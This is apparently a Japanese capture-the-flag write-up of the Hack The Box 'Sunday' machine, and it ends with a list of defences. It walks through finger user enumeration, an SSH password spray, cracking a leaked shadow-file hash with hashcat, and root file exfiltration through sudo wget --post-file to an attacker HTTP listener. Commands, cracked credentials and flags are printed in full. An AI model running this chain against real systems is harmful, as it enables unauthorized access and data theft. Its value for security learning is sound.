Hack The BoxのWriteup（Sunday）[Easy]

PHASE 1

偵察 (Reconnaissance)

主要ポートスキャン

BASH

nmap -Pn -p 21,22,23,25,53,79,80,88,110,111,135,139,143,389,443,445,...,22022 \
  -T4 --max-retries 3 10.129.84.175

RESULT

PORT    STATE SERVICE
111/tcp open  rpcbind

Nmap done: 1 IP address (1 host up) scanned in 5.42 seconds

⚠️

よく使われる既定ポート一覧には 79(finger) や 22022(非標準SSH) が含まれていないことが多く、最初のクイックスキャンでは 見落としやすい。全ポートスキャン（-p-）で必ず確認すること。

全ポートスキャン（-p-）

BASH

nmap -Pn -p- --min-rate 500 -T4 --max-retries 2 10.129.84.175

RESULT

PORT      STATE SERVICE
79/tcp    open  finger
111/tcp   open  rpcbind
22022/tcp open  ssh

Nmap done: 1 IP address (1 host up) scanned (Solaris はレスポンスが遅く、
全65535ポートのスキャンに通常より長い時間を要することがある)

ℹ️

Solaris ホストは TCP スタックの応答が遅く、全ポートスキャンが長時間化しやすい。タイムアウトする場合は --max-retries 1 に下げるか、個別ポートを nc -zv で直接確認するとよい (nc -zv 10.129.84.175 79 / nc -zv 10.129.84.175 22022)。

バージョン・スクリプトスキャン

BASH

nmap -sV -sC -p 79,111,22022 10.129.84.175

RESULT

PORT      STATE SERVICE VERSION
79/tcp    open  finger
111/tcp   open  rpcbind 2-4 (RPC #100000)
22022/tcp open  ssh     SunSSH (protocol 2.0)

🚨

重要発見: finger(79) サービスが稼働中 — ユーザ名の列挙に利用できる。 SSH は標準の22番ではなく 22022番 で稼働している (Oracle Solaris の典型的な構成)。

PHASE 2

finger(79) によるユーザ列挙

finger コマンドでユーザを探る

BASH

finger @10.129.84.175
finger root@10.129.84.175
finger admin@10.129.84.175
finger test@10.129.84.175

# finger コマンドが無い場合は生ソケットで代用:
echo -e "root\r" | nc -w3 10.129.84.175 79

RESULT

Login       Name                 TTY         Idle    When    Where
sunny       Sunny Day
sammy       Sammy Smith

✅

2つのユーザ名を獲得: sunny と sammy。 root/admin/test 等の汎用的なクエリ名を複数試すと finger daemon がユーザ一覧をリークするケースが多い。

PHASE 3

SSH(22022) パスワードスプレー → shadow.backup crack → user.txt

sunny に対するパスワードスプレー

BASH

# Solaris の古い SunSSH は近代的な OpenSSH クライアントの既定アルゴリズムを
# 拒否することがあるため legacy オプションを付与する
sshpass -p sunday ssh -o StrictHostKeyChecking=no -o ConnectTimeout=15 \
  -o KexAlgorithms=+diffie-hellman-group1-sha1 \
  -o HostKeyAlgorithms=+ssh-rsa -o PubkeyAcceptedAlgorithms=+ssh-rsa \
  -p 22022 sunny@10.129.84.175 id

RESULT

uid=101(sunny) gid=10(staff)
Warning: Permanently added '[10.129.84.175]:22022' (ED25519) to the list of known hosts.

✅

認証成功: sunny:sunday（ユーザ名そのものを使った弱いパスワード）。ユーザ名を元にした簡単な単語リスト（ユーザ名そのもの、曜日名、よくあるパターン）で hydra 等を使ったスプレーでも短時間で突破できる。

shadow.backup の発見とsammyハッシュの抽出

BASH

# sunny で軽くファイルシステムを見て回ると /backup/ に平文バックアップを発見
sshpass -p sunday ssh -o StrictHostKeyChecking=no -o ConnectTimeout=15 \
  -o KexAlgorithms=+diffie-hellman-group1-sha1 -o HostKeyAlgorithms=+ssh-rsa \
  -o PubkeyAcceptedAlgorithms=+ssh-rsa -p 22022 sunny@10.129.84.175 \
  "ls -la /backup/; cat /backup/shadow.backup"

RESULT

mysql:NP:::::::
openldap:*LK*:::::::
webservd:*LK*:::::::
postgres:NP:::::::
svctag:*LK*:6445::::::
nobody:*LK*:6445::::::
noaccess:*LK*:6445::::::
nobody4:*LK*:6445::::::
sammy:$5$Ebkn8jlK$i6SSPa0.u7Gd.0oJOT4T421N2OvsfXqAT1vCoYUOigB:6445::::::
sunny:$5$iRMbpnBv$Zh7s6D7ColnogCdiVE5Flz9vCZOMkUFxklRhhaShxv3:17636::::::

🚨

権限保護された /etc/shadow のコピーが一般ユーザから読める /backup/ 配下に平文で放置されていた。 $5$ プレフィクスは sha256crypt（hashcat -m 7400）。

hashcat でsammyのパスワードをクラック

BASH

echo 'sammy:$5$Ebkn8jlK$i6SSPa0.u7Gd.0oJOT4T421N2OvsfXqAT1vCoYUOigB' > sammy.hash
hashcat -a 0 -m 7400 sammy.hash /usr/share/wordlists/rockyou.txt --quiet
hashcat -a 0 -m 7400 sammy.hash /usr/share/wordlists/rockyou.txt --show

RESULT

$5$Ebkn8jlK$i6SSPa0.u7Gd.0oJOT4T421N2OvsfXqAT1vCoYUOigB:cooldude!

✅

クラック成功: sammy:cooldude!（rockyou.txt の辞書攻撃のみで数秒以内にヒット）。

sammy としてログインし user.txt を取得

BASH

sshpass -p 'cooldude!' ssh -o StrictHostKeyChecking=no -o ConnectTimeout=15 \
  -o KexAlgorithms=+diffie-hellman-group1-sha1 -o HostKeyAlgorithms=+ssh-rsa \
  -o PubkeyAcceptedAlgorithms=+ssh-rsa -p 22022 sammy@10.129.84.175 \
  "id; cat /export/home/sammy/user.txt"

RESULT

uid=100(sammy) gid=10(staff)
5414d1e7fde23c20fb868fffa4cb5b46

user.txt — sammy

5414d1e7fde23c20fb868fffa4cb5b46

ℹ️

Solaris のホームディレクトリは Linux と異なり /export/home/<user> 配下にある (/home はオートマウンタのシンボリックリンクに過ぎない場合がある)。

PHASE 4

権限昇格の下調べ — sudo -l

sammy の sudo 権限を確認

BASH

sshpass -p 'cooldude!' ssh -o StrictHostKeyChecking=no -o ConnectTimeout=15 \
  -o KexAlgorithms=+diffie-hellman-group1-sha1 -o HostKeyAlgorithms=+ssh-rsa \
  -o PubkeyAcceptedAlgorithms=+ssh-rsa -p 22022 sammy@10.129.84.175 "sudo -l"

RESULT

ユーザー sammy は sunday 上で コマンドを実行できます
    (root) NOPASSWD: /usr/bin/wget

🚨

重大発見: sammy はパスワード入力なしで /usr/bin/wget を root 権限で実行できる。 GTFOBins の wget エントリにある通り、--post-file オプションや -O によるローカルファイル読み出し／任意ファイル上書きに悪用できる。

PHASE 5

sudo wget –post-file 悪用 → root.txt

Kali 側で受信用 HTTP サーバを起動

PYTHON (受信用 C2)

from http.server import BaseHTTPRequestHandler, HTTPServer

class H(BaseHTTPRequestHandler):
    def do_POST(self):
        length = int(self.headers.get("Content-Length", 0))
        body = self.rfile.read(length).decode()
        print("=== 受信データ ===")
        print(body)
        self.send_response(200); self.end_headers()
    def log_message(self, *a): pass

HTTPServer(("0.0.0.0", 8000), H).serve_forever()

BASH

# 起動前に、ポート8000を既に別プロセスが握っていないか必ず確認・解放する
fuser -k 8000/tcp 2>/dev/null; sleep 1
python3 sunday_c2.py &

⚠️

ハマりポイント: 同じ Kali 上で複数のHTB攻略を並行して走らせていると、以前のリスナーがポート8000を掴んだままになっていて [Errno 98] Address already in use で起動に失敗することがある。起動前に fuser -k 8000/tcp で明示的に解放するか、 8000, 8001, 8888 のように複数ポートを順に試すフォールバックを入れておくと安定する。

sammy から sudo wget –post-file で root.txt を送出

BASH

sshpass -p 'cooldude!' ssh -o StrictHostKeyChecking=no -o ConnectTimeout=15 \
  -o KexAlgorithms=+diffie-hellman-group1-sha1 -o HostKeyAlgorithms=+ssh-rsa \
  -o PubkeyAcceptedAlgorithms=+ssh-rsa -p 22022 sammy@10.129.84.175 \
  "sudo /usr/bin/wget --post-file=/root/root.txt http://<KALI_IP>:8000/ -O /dev/null"

RESULT (ターゲット側)

HTTP による接続要求を送信しました、応答を待っています... 200 OK
長さ: 指定なし
データを '/dev/null' に保存中

RESULT (Kali 側 C2 リスナー)

=== 受信データ ===
b3706e4e94300077c648813ba1402e91

root.txt — root@sunday

b3706e4e94300077c648813ba1402e91

✅

権限昇格成功! wget --post-file=<file> は本来フォームデータ送信用のオプションだが、 root 権限で実行できる場合は任意ファイルをそのまま HTTP POST ボディとして外部に持ち出せてしまう（GTFOBins: sudo wget --post-file=/path/to/file http://ATTACKER:PORT）。

参考: file:// を使ったローカルコピー方式（環境によって使えない場合あり）

BASH

# wget が file:// スキームに対応していれば、外部へ送らずローカルにコピーするだけでも読める
sudo /usr/bin/wget -O /tmp/.rootflag file:///root/root.txt
chmod 644 /tmp/.rootflag
cat /tmp/.rootflag

ℹ️

本インスタンスの wget ビルドでは file:// スキームの取り扱いが期待通りに動作せず (出力なし・ファイル未生成)、確実性の高い –post-file による外部送出方式（5-2）が最終的に成功した。wget のビルド・バージョンによって挙動が異なるため、どちらの方式も手札として持っておくとよい。

SUMMARY

攻略サマリー & 教訓

取得フラグ

user.txt — sammy

5414d1e7fde23c20fb868fffa4cb5b46

root.txt — root@sunday

b3706e4e94300077c648813ba1402e91

使用した脆弱性・設定不備

脆弱性/不備	対象	影響	深刻度	利用方法
finger ユーザ列挙	finger daemon (79/tcp)	有効ユーザ名の漏洩	Medium	root/admin/test等の汎用クエリでユーザ一覧(sunny, sammy)を取得
弱いパスワード	SSH (22022/tcp), ユーザ sunny	初期アクセス（一般ユーザ）	High	ユーザ名と関連した単純なパスワード (sunday) でSSHスプレー成功
平文バックアップの放置	/backup/shadow.backup	全ユーザのパスワードハッシュ漏洩	Critical	一般ユーザが読める場所に /etc/shadow のコピーが残置されていた。sammy のハッシュをhashcatでクラック (cooldude!)
sudo wget 誤設定 (GTFOBins)	sudoers: sammy NOPASSWD /usr/bin/wget	権限昇格 (root)	Critical	wget –post-file=/root/root.txt で任意ファイルを攻撃者ホストへ外部送出

攻撃チェーン全体の流れ

#	フェーズ	技術	取得情報
1	偵察	nmap 全ポートスキャン	79/finger, 111/rpcbind, 22022/ssh(非標準)
2	ユーザ列挙	finger(79) への汎用クエリ	ユーザ名 sunny, sammy
3	初期侵入	SSH(22022) パスワードスプレー	sunny:sunday でログイン
3	資格情報漏洩	/backup/shadow.backup 閲覧 + hashcat -m 7400	sammy:cooldude!
3	横移動	SSH(22022) sammy ログイン	user.txt 取得
4	権限調査	sudo -l	(root) NOPASSWD: /usr/bin/wget を確認
5	権限昇格	sudo wget –post-file=/root/root.txt → 自ホストへ送出	root.txt 取得

学んだ教訓 & 防御策

問題点	防御策
finger サービスが有効で、簡単なクエリでユーザ一覧がリークする	外部公開ホストでは finger daemon を無効化する。サービス列挙に使われるレガシープロトコル(finger/rwho等)は原則停止。
ユーザ名に近い弱いパスワードが使われている	パスワード複雑性ポリシーの強制と、辞書に含まれやすい単語（ユーザ名、曜日、季節等）の禁止。SSHは可能な限り鍵認証のみに限定する。
/etc/shadow の平文バックアップが一般ユーザから読める場所に残置	バックアップファイルの権限を厳格化（root:root 600）し、定期的なファイルシステム権限監査を実施。機密バックアップは暗号化して保管。
sudoers で wget に NOPASSWD を付与（GTFOBins 掲載コマンド）	sudo で許可するコマンドは最小限に絞り、GTFOBins 掲載済みの危険なバイナリ(wget, find, vim, awk 等)への NOPASSWD 付与を避ける。必要な場合は引数をラップスクリプトで厳格に制限する。